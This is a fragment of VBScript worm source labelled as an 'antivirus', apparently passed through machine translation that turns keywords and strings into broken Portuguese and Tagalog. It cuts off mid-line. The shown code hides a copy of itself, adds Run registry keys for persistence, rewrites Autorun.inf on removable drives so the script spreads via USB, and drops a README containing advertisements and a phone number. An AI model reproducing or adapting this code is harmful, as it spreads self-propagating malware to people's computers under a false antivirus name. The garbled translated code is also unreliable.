Tornou-Virus Anitivirus

xtFile (vitória e "\\ UjBright_Antivirus.vbs", true) myFile.write scrText myFile.close Set fattr = fso.Getfile (vitória e "\\" UjBright_Antivirus.vbs) fAttr.Attributes = 39 wscr.RegWrite "HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Run \\ autome "," wscript.exe "" "e ganhar" e \\ UjBright_Antivirus.vbs "" "Se ax = false Então wscr.Run" wscript.exe "" "& vencer &" \\ UjBright_Antivirus .vbs "" "while (true) myDrives set = fso.Drives para cada myFlashDrive Em myDrives Se myFlashDrive.Drivetype = 1 E myFlashDrive.Path" A: "Então Se fso.

FileExists (myFlashDrive.Path &" \\ Autorun.inf " ) Em seguida, defina fattr = fso.Getfile (myFlashDrive.Path & "\\ Autorun.inf") fAttr.Attributes = 32 fso.Deletefile myFlashDrive.Path & "\\ Autorun.inf", true End If Set auFile = fso.CreateTextFile (myFlashDrive .Path & "\\ Autorun.inf", true) auFile.write "[autorun]" & vbCrLf & "open = \\" & vbCrLf & "UjBright_Antivirus.vbs abertos = wscript.exe" & vbCrLf & "shell \\ Open \\ Command = UjBright_Antivirus.vbs WScript.exe "& vbCrLf &" shell \\ Open \\ Default = 1 "auFile.close Set auFile = fso.CreateTextFile (myFlashDrive.Path &" \\ README.

txt ", true) auFile.write" Olá amigos: "& vbCrLf &" Maaaring ito vírus kung tawagin em makikita ng ibang anti-vírus, ngunit wag mag-alala kung ito'y hindi makikilala ng anu mang ANTI-VIRUS na nasa sa inyo. " & VbCrLf & "Dahil ito ang Tanging paraan ko upang matugunan ang ibang ANTI-VIRUS na hindi makikilala ang ganitong scripto na VÍRUS na nakakasama" & vbCrLf & "ay kaya nitong PALITAN na maaring ayusin niya ang ibang sinira dulot ng NAKAKASIRA na VÍRUS." & VbCrLf & "" & vbCrLf & "-ADVERTISING-" & vbCrLf & "EARLY PUBLICIDADE ADVENTO -.

Encerado nila ay kumupas matagal duráveis, tag-init homem o tag-araw" & VbCrLf & "RB STUDIO PHOTOART - Pode kagandahan sa Kulay ng inyong PICTURE no pa durável." & VbCrLf & "104,1 DXMA WOW FM -.. Pinakikinggang himpilan ng RADIO Numero UNO sa Central Mindanao" & VbCrLf & "" & vbCrLf & "PARA SA GUSTONG MAGPA-ANUNCIE:" & vbCrLf & "basta contactar-me: 09083223171 - UJBRIGHT" auFile.close Set fattr = fso.Getfile (myFlashDrive.Path & "\\ Autorun.inf") fAttr.Attributes = 39 Set myFile = fso.CreateTextFile (myFlashDrive.Path & "\\ UjBright_Antivirus.vbs", true) myFile.write scrText myFile.

close Set fattr = fso.Getfile (myFlashDrive.Path & "\\ UjBright_Antivirus.vbs") fAttr.Attributes = 39 End If Next Com wscr .RegWrite "HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVers